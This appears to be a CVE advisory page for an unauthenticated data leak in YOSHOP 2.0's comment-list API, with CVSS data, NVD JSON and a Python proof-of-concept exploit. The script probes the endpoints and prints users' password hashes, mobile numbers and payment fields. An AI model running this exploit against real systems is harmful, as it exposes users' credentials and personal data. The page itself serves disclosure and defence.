Security Vulnerability Report
中文
CVE-2025-56161 CVSS 7.5 HIGH

CVE-2025-56161

Published: 2025-10-02 16:15:35
Last Modified: 2025-10-30 18:33:15

Description

YOSHOP 2.0 allows unauthenticated information disclosure via comment-list API endpoints in the Goods module. The Comment model eagerly loads the related User model without field filtering; because User.php defines no $hidden or $visible attributes, sensitive fields (bcrypt password hash, mobile number, pay_money, expend_money.) are exposed in JSON responses. Route names vary per deployment (e.g. /api/goods.pinglun/list), but all call the same vulnerable model logic.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:yiovo:firefly_mall:*:*:*:*:open_source:*:*:* - VULNERABLE
YOSHOP 2.0(全版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-56161 PoC - YOSHOP 2.0 Unauthenticated Information Disclosure # Exploits comment-list API endpoint to leak sensitive user data import requests import json TARGET_URL = "http://target-yoshop.example.com" # Common API endpoint patterns for YOSHOP 2.0 comment list ENDPOINTS = [ "/api/goods.pinglun/list", "/api/goods.comment/list", "/api/goods/comment/list", ] def exploit_info_disclosure(base_url): """ Exploit unauthenticated information disclosure via comment-list API. The Comment model eagerly loads User model without field filtering, exposing password hash, mobile, pay_money, expend_money, etc. """ for endpoint in ENDPOINTS: url = base_url + endpoint try: resp = requests.get(url, timeout=10) if resp.status_code == 200: data = resp.json() print(f"[+] Vulnerable endpoint found: {url}") # Extract sensitive fields from leaked user data if "data" in data: items = data["data"] if isinstance(data["data"], list) else data["data"].get("data", []) for item in items: user = item.get("user", {}) leaked = { "user_id": user.get("id"), "username": user.get("username"), "password_hash": user.get("password"), "mobile": user.get("mobile"), "pay_money": user.get("pay_money"), "expend_money": user.get("expend_money"), } print(f"[+] Leaked user data: {json.dumps(leaked, ensure_ascii=False)}") return True except Exception as e: print(f"[-] Error probing {url}: {e}") return False if __name__ == "__main__": exploit_info_disclosure(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56161", "sourceIdentifier": "[email protected]", "published": "2025-10-02T16:15:34.910", "lastModified": "2025-10-30T18:33:14.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "YOSHOP 2.0 allows unauthenticated information disclosure via comment-list API endpoints in the Goods module. The Comment model eagerly loads the related User model without field filtering; because User.php defines no $hidden or $visible attributes, sensitive fields (bcrypt password hash, mobile number, pay_money, expend_money.) are exposed in JSON responses. Route names vary per deployment (e.g. /api/goods.pinglun/list), but all call the same vulnerable model logic."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yiovo:firefly_mall:*:*:*:*:open_source:*:*:*", "versionStartIncluding": "2.01", "matchCriteriaId": "3D9A314C-46D3-418D-AFAF-93394EFCFF32"}]}]}], "references": [{"url": "https://gitee.com/xany/yoshop2.0", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ZyWAC/CVE-Disclosures/blob/6b337a44934ffe948275995e9b79158e97c78fc4/2025/YOSHOP2.0/CVE-2025-56161.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}